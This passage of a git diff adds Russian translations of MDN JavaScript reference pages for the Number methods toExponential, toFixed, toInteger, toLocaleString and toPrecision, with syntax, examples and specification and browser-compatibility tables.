+   <td>{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html b/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html
new file mode 100644
index 0000000000..0f24f36542
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/toexponential/index.html
@@ -0,0 +1,131 @@
+---
+title: Number.prototype.toExponential()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toExponential()</code></strong> возвращает строку, представляющую объект {{jsxref("Global_Objects/Number", "Number")}} в экспоненциальной записи.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>fractionDigits</code></dt>
+ <dd>Необязательный параметр. Целое число, определяющее количество цифр после десятичной запятой. По умолчанию используется столько цифр, сколько необходимо для указания числа.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Строка, представляющая объект {{jsxref("Global_Objects/Number", "Number")}} в экспоненциальной записи с одной цифрой перед десятичной запятой, округлённое до <code>fractionDigits</code> цифр после десятичной запятой. Если аргумент <code>fractionDigits</code> опущен, количество цифр после десятичной запятой по умолчанию устанавливается в количество цифр, необходимых для однозначного представления значения.</p>
+<p>Если вы используете метод <code>toExponential()</code> с числовыми литералами и числовой литерал не имеет экспоненты и десятичной запятой, оставьте пробел перед точкой, предшествующей вызову метода для предотвращения интерпретации этой точки как десятичной запятой.</p>
+<p>Если число имеет больше цифр, чем запрошено параметром <code>fractionDigits</code>, оно будет округлено к ближайшему числу, представляемому <code>fractionDigits</code> цифрами. Смотрите обсуждение округления в описании метода {{jsxref("Number.prototype.toFixed", "toFixed()")}}, которое так же применяется и к методу <code>toExponential()</code>.</p>
+
+<h3 id="Throws" name="Throws">Выбрасываемые исключения</h3>
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd>Если параметр <code>fractionDigits</code> слишком маленький или слишком большой. Значения между 0 и 20 включительно не будут порождать исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}. Также реализации могут поддерживать большие и меньшие значения.</dd>
+ <dt>{{jsxref("Global_Objects/TypeError", "TypeError")}}</dt>
+ <dd>Если этот метод вызывается на объекте, не являющимся объектом {{jsxref("Global_Objects/Number", "Number")}}.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toExponential" name="Example:_Using_toExponential">Пример: использование <code>toExponential</code></h3>
+<pre class="brush: js">var numObj = 77.1234;
+
+
+console.log(numObj.toExponential());  // выведет 7.71234e+1
+console.log(numObj.toExponential(4)); // выведет 7.7123e+1
+console.log(numObj.toExponential(2)); // выведет 7.71e+1
+console.log(77.1234.toExponential()); // выведет 7.71234e+1
+console.log(77 .toExponential());     // выведет 7.7e+1
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.6', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html b/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html
new file mode 100644
index 0000000000..a7beb2afcc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/tofixed/index.html
@@ -0,0 +1,143 @@
+---
+title: Number.prototype.toFixed()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toFixed()</code></strong> форматирует число, используя запись с фиксированной запятой.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toFixed([<var>digits</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>digits</code></dt>
+ <dd>Необязательный параметр. Количество цифр после десятичной запятой; может быть значением между 0 и 20 включительно, хотя реализации могут поддерживать и больший диапазон значений. Если аргумент опущен, он считается равным 0.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Строка, представляющая <code>numObj</code>, не использующая экспоненциальную запись и содержащая ровно <code>digits</code> цифр после десятичной запятой. Число округляется при необходимости, а дробная часть дополняется нулями таким образом, чтобы иметь указанную длину. Если <code>numObj</code> больше или равно <code>1e+21</code>, этот метод просто вызывает метод {{jsxref("Number.prototype.toString()")}} и возвращает строку в экспоненциальной записи.</p>
+
+<h3 id="Throws" name="Throws">Выбрасываемые исключения</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd>Если параметр <code>digits</code> слишком маленький или слишком большой. Значения между 0 и 20 включительно не будут порождать исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}. Также реализации могут поддерживать большие и меньшие значения.</dd>
+ <dt>{{jsxref("Global_Objects/TypeError", "TypeError")}}</dt>
+ <dd>Если этот метод вызывается на объекте, не являющимся объектом {{jsxref("Global_Objects/Number", "Number")}}.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toFixed" name="Example:_Using_toFixed">Пример: использование <code>toFixed</code></h3>
+
+<pre class="brush: js">var numObj = 12345.6789;
+
+numObj.toFixed();       // Вернёт '12346': обратите внимание на округление, дробной части нет
+numObj.toFixed(1);      // Вернёт '12345.7': обратите внимание на округление
+numObj.toFixed(6);      // Вернёт '12345.678900': обратите внимание на дополнение нулями
+(1.23e+20).toFixed(2);  // Вернёт '123000000000000000000.00'
+(1.23e-10).toFixed(2);  // Вернёт '0.00'
+2.34.toFixed(1);        // Вернёт '2.3'
+-2.34.toFixed(1);       // Вернёт -2.3 (в соответствии с приоритетом операций,
+                        // отрицательные числовые литералы не возвращают строку...)
+(-2.34).toFixed(1);     // Вернёт '-2.3' (...до тех пор, пока вы не заключите их в круглые скобки)
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/tointeger/index.html b/files/ru/web/javascript/reference/global_objects/number/tointeger/index.html
new file mode 100644
index 0000000000..14260df0d5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/tointeger/index.html
@@ -0,0 +1,94 @@
+---
+title: Number.toInteger()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toInteger
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Number
+  - Obsolete
+translation_of: Archive/Web/JavaScript/Number.toInteger
+---
+<div>{{JSRef("Global_Objects", "Number")}} {{obsolete_header("33")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Number.toInteger()</code></strong> использовался для вычисления переданного значения и преобразования его в целое число, но его реализация была удалена.</p>
+<p>Если целевым значением является {{jsxref("Global_Objects/NaN", "NaN")}}, {{jsxref("Global_Objects/null", "null")}} или {{jsxref("Global_Objects/undefined", "undefined")}}, возвращается 0. Если целевым значением является <code>false</code>, возвращается 0, а если <code>true</code>, то 1.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Number.toInteger(<var>number</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>number</code></dt>
+ <dd>Значение, преобразуемое в целое число.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toInteger" name="Example:_Using_toInteger">Пример: использование <code>toInteger</code></h3>
+<p>Вывод на некоторых тестовых значениях:</p>
+<pre class="brush:js">Number.toInteger(0.1);     // 0
+Number.toInteger(1);       // 1
+Number.toInteger(Math.PI); // 3
+Number.toInteger(null);    // 0
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<ul>
+ <li><code>Number.toInteger()</code> был частью черновика спецификации ECMAScript 6, но он был удалён 23 августа 2013 г. в 17 ревизии черновика.</li>
+</ul>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>Firefox с версии 16 по версию 32</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>Firefox с версии 16 по версию 32</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>Объект {{jsxref("Global_Objects/Number", "Number")}}, которому принадлежит этот метод.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/tolocalestring/index.html b/files/ru/web/javascript/reference/global_objects/number/tolocalestring/index.html
new file mode 100644
index 0000000000..1c6048805a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/tolocalestring/index.html
@@ -0,0 +1,164 @@
+---
+title: Number.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString
+tags:
+  - Internationalization
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toLocaleString()</code></strong> возвращает строку с языко-зависимым представлением числа.</p>
+
+<p>Новые аргументы <code>locales</code> и <code>options</code> позволяют приложениям определять язык, чьё поведение и соглашения по форматированию которого оно хочет использовать. В старых реализациях, игнорирующих аргументы <code>locales</code> и <code>options</code>, используемая локаль и форма возвращённой строки целиком зависит от реализации.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toLocaleString([<var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Проверьте раздел <a href="#Browser_compatibility">Совместимость с браузерами</a>, чтобы увидеть, какие браузеры поддерживают аргументы <code>locales</code> и <code>options</code>, и <a href="#Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></a> для определения этой возможности.</p>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> API интернационализации ECMAScript, реализованное в Firefox 29, добавляет аргумент <code>locales</code> к методу <code>Number.toLocaleString()</code>. Если этот аргумент равен {{jsxref("Global_Objects/undefined", "undefined")}}, этот метод возвращает локализованные цифры на языке, определяемом ОС, в то время, как предыдущие версии Firefox возвращали цифры на английском языке. Это изменение было помечено, как регрессия, затрагивающая обратную совместимость, которая скоро может быть исправлена. ({{bug(999003)}})</p>
+</div>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat', 'Parameters')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_toLocaleString" name="Example:_Using_toLocaleString">Пример: использование <code>toLocaleString</code></h3>
+
+<p>При базовом использовании без указания локали возвращается строка, отформатированная в соответствии с локалью и опциями по умолчанию.</p>
+
+<pre class="brush: js">var number = 3500;
+
+console.log(number.toLocaleString()); // Отобразит '3,500' в локали U.S. English
+</pre>
+
+<h3 id="Example_Checking_for_support_for_locales_and_options_arguments" name="Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></h3>
+
+<p>Аргументы <code>locales</code> и <code>options</code> поддерживаются ещё не всеми браузерами. Для проверки того, поддерживает ли их уже реализация, можно затребовать несуществующую метку языка и проверить, будет ли выброшено исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}:</p>
+
+<pre class="brush: js">function toLocaleStringSupportsLocales() {
+  var number = 0;
+  try {
+    number.toLocaleString('i');
+  } catch (e) {
+    return e​.name === 'RangeError';
+  }
+  return false;
+}
+</pre>
+
+<h3 id="Example_Using_locales" name="Example:_Using_locales">Пример: использование аргумента <code>locales</code></h3>
+
+<p>Этот пример показывает некоторые локализованные числовые форматы. Для получения формата языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// В Германии в качестве разделителя целой и дробной части используется запятая, а в качестве разделителя разрядов - точка
+console.log(number.toLocaleString('de-DE'));
+// → 123.456,789
+
+// В России в качестве разделителя целой и дробной части используется запятая, а в качестве разделителя разрядов - пробел
+console.log(number.toLocaleString('ru-RU'));
+// → 123 456,789
+
+// В большинстве арабоговорящих стран используют настоящие арабские цифры
+console.log(number.toLocaleString('ar-EG'));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// В Индии используют разделители для тысяч/лакх/крор
+console.log(number.toLocaleString('en-IN'));
+// → 1,23,456.789
+
+// Ключ расширения nu запрашивает систему нумерации, например, китайскую десятичную
+console.log(number.toLocaleString('zh-Hans-CN-u-nu-hanidec'));
+// → 一二三,四五六.七八九
+
+// Если запрашиваемый язык может не поддерживаться, например
+// балийский, откатываемся на запасной язык, в данном случае индонезийский
+console.log(number.toLocaleString(['ban', 'id']));
+// → 123.456,789
+</pre>
+
+<h3 id="Example_Using_options" name="Example:_Using_options">Пример: использование аргумента <code>options</code></h3>
+
+<p>Результат, предоставляемый методом <code>toLocaleString()</code>, может быть настроен с помощью аргумента <code>options</code>:</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// Запрашиваем формат валюты
+console.log(number.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' }));
+// → 123.456,79 €
+
+console.log(number.toLocaleString('ru-RU', { style: 'currency', currency: 'RUB' }));
+// → 123 456,79 ₽
+
+// Японская йена не использует младшие единицы
+console.log(number.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' }))
+// → ￥123,457
+
+// Ограничиваем до трёх значащих цифр
+console.log(number.toLocaleString('en-IN', { maximumSignificantDigits: 3 }));
+// → 1,23,000
+</pre>
+
+<h2 id="Performance" name="Performance">Производительность</h2>
+
+<p>При форматировании большого количества чисел лучшим вариантом будет создание объекта {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}} и использование функции, предоставляемой его свойством {{jsxref("NumberFormat.format")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.toLocaleString")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
+
+<div id="gtx-trans" style="position: absolute; left: 47px; top: 4182px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html b/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html
new file mode 100644
index 0000000000..83157bf3d2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html
@@ -0,0 +1,150 @@
+---
+title: Number.prototype.toPrecision()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toPrecision
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toPrecision()</code></strong> возвращает строку, представляющую объект {{jsxref("Global_Objects/Number", "Number")}} с указанной точностью.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toPrecision([<var>precision</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>precision</code></dt>
+ <dd>Необязательный параметр. Целое число, определяющее количество значащих цифр.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Строка, представляющая объект {{jsxref("Global_Objects/Number", "Number")}} в записи с фиксированной запятой или в экспоненциальной записи, округлённое до <code>precision</code> значащих цифр. Смотрите обсуждение округления в описании метода {{jsxref("Number.prototype.toFixed", "toFixed()")}}, которое таким же образом применяется и к методу <code>toPrecision()</code>.</p>
+
+<p>Если аргумент <code>precision</code> опущен, поведение аналогично методу {{jsxref("Number.prototype.toString()")}}. Если он не является целым числом, он будет округлён к ближайшему целому числу.</p>
+
+<h3 id="Throws" name="Throws">Выбрасываемые исключения</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd>Если параметр <code>precison</code> не находится в диапазоне от 1 до 100 (включительно), будет выброшено исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}. Также реализации могут поддерживать большие и меньшие значения. ECMA-262 требует точности только до 21 значащей цифры.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_toPrecision" name="Example:_Using_toPrecision">Пример: использование <code>toPrecision</code></h3>
+
+<pre class="brush: js">var numObj = 5.123456;
+
+console.log(numObj.toPrecision());    // выведет '5.123456'
+console.log(numObj.toPrecision(5));   // выведет '5.1235'
+console.log(numObj.toPrecision(2));   // выведет '5.1'
+console.log(numObj.toPrecision(1));   // выведет '5'<code class="language-js">
+
+numObj <span class="operator token">=</span> <span class="number token">0.000123;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>numObj<span class="punctuation token">.</span><span class="function token">toPrecision</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>    <span class="comment token">// выведет '0.000123'</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>numObj<span class="punctuation token">.</span><span class="function token">toPrecision</span><span class="punctuation token">(</span><span class="number token">5</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>   <span class="comment token">// выведет '0.00012300'</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>numObj<span class="punctuation token">.</span><span class="function token">toPrecision</span><span class="punctuation token">(</span><span class="number token">2</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>   <span class="comment token">// выведет '0.00012'</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>numObj<span class="punctuation token">.</span><span class="function token">toPrecision</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>   <span class="comment token">// выведет '0.0001' </span></code>
+
+// Обратите внимание, что если заданного количества разрядов
+// недостаточно для точного отображения целой части числа,
+// значение может быть возвращено в экспоненциальной записи.
+console.log((1234.5).toPrecision(2)); // выведет '1.2e+3'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.7', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
